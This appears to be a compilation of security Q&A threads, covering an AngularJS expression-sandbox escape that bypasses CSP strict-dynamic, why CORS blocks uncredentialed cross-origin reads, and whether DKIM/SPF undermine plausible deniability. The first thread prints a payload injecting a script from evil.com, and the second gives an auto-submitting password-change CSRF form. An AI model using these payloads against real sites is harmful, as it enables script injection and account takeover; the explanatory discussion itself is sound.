    <title>Angular - Alert in Expression</title>
    <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
  </head>
  <body ng-app="" ng-csp>
    <div>{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,a=document.createElement("script"),a.src="https://evil.com/evil.js",a.type="text/javascript",a=document.getElementsByTagName("head")[0].appendChild(a),a')}}</div>
  </body>
</html>

The worst thing is, the script injection above is allowed by strict-dynamic, whereas a reasonable host-based CSP script-src would block it.

So, is there any reason to use strict-dynamic on an application that uses AngularJS?

There is a bit of a fundamental security issue here based on the fact that an attacker can inject an Angular expression.  The Angular project itself has actually stated that the sandbox is not actually a security mechanism, despite the name, and removed it in newer versions to avoid this confusion:

http://angularjs.blogspot.com/2016/09/angular-16-expression-sandbox-removal.html

In the case you are talking about, I would probably characterize this as working as intended, but not necessarily expected.  CSP is protecting the script elements to ensure that only trusted ones are executed, but Angular (your trusted script) is being coerced into 'interpreting' the expression in a CSP-compliant way (if you're using ng-csp) that yields the equivalent of script execution.


Why is Access-Control-Allow-Origin required for uncredentialed cross-domain requests? I understand CSRF and why cross-domain AJAX requests with cookies or other credentials can't be permitted without an Access-Control-Allow-Credentials header explicitly permitting them - otherwise I'd be able to do things like lure people to a site that hijacks their Facebook cookies to post something on Facebook in their name.

What I don't understand is why even uncredentialed cross-domain AJAX requests are not permitted without an Access-Control-Allow-Origin header. With no credentials involved, CSRF seems impossible and so the only arguments that I know about for the Same Origin Policy seem not to apply. What vulnerability would sites or users be exposed to if this restriction were not in place?

You have stumbled on a bit of a of an irregularity caused by an attempt to make secure standards.  In short,  CSRF exploits can't use a CORS XHR because of the preflight requst,  attackers are forced to use other techniques.  In an XHR,  you can read the response. However in a CSRF attack,  the attacker doesn't care about reading the response.   A GET based CSRF exploit can just be a simple <img> tag.  A POST based CSRF exploit is as follows:

<form id="csrf_exploit" action="https://victim_site/passsword_change" method="POST">
  <input name="new_password" value="hacked">
  <input name="repeat_password" value="hacked">
  <input type=submit>
</form>
<script>
  document.getElementById("csrf_exploit").submit();
</script>

In the above exploit,  the entire browser is redirected when the POST request is sent.  Often an exploit like this is placed within an iframe to hide this redirection from the victim. The browser renders the response, and the attacker gains the benefits from the side-effect produced by the request.  In this case the side-effect is changing the users password.


Is there any reason to not use DKIM, SPF, and SenderID because it affects plausible deniability? Is there any basis in not deploying anti-spam (or deliverability) technologies like DKIM, SPF, and SenderID because it affects plausible deniability?

Some definitions to get everyone on the same page:

  Plausible deniability:  This is a legal term used to disown accountability
  for something (an email, knowledge of an event, etc).

  DKIM:  An email signing technology that binds the message to the
  senders domain, or in some deployments to a specific user or set of
  users.

  SPF: A whitelist of IP addresses that specify what email relays are
  permitted to send email on behalf of the domain.

I'm trying to understand if these technologies used alone or together can be used to remove doubt that an authorized sender is knowledgeable of "something" and if that could be used against them in court.

Examples of this "something" would be

Stock trades
Insider information
Mergers & Acquisitions
Other data that is material in a court case

In my opinion, yes it is. These technolgies can be use as a basis to affect plausible deniability but are not strong enough to put the person in verdict. The answer to the question whether these technolgies affect or not plausible deniability lies from within the technical objective of these technologies and the strong justification of the technical components and reliability along with court evidences.

DKIM, SPF, SenderID's are used to improve mail deliverability based on the domain's trust relationship. On the other hand, when a private key has been used along with the above technologies to sign the message, it will be difficult for the sending party to deny and justify the fact that the message has originated from the domain and specifically to his/her account.

This particular instance removes doubt to the authorized sender having the knowledge in sending "something" internal to a recipient outside of the corporate realms and jurisdictions and proves a possible violation of corporate policy. In this regard, it is stronger from a technical perspective given that there is a technical prima facie evidence.

On the other hand, the burden of proof lies from within proving to the court that the evidences was not altered and the actual behavior of the allegation was committed by the person in charge.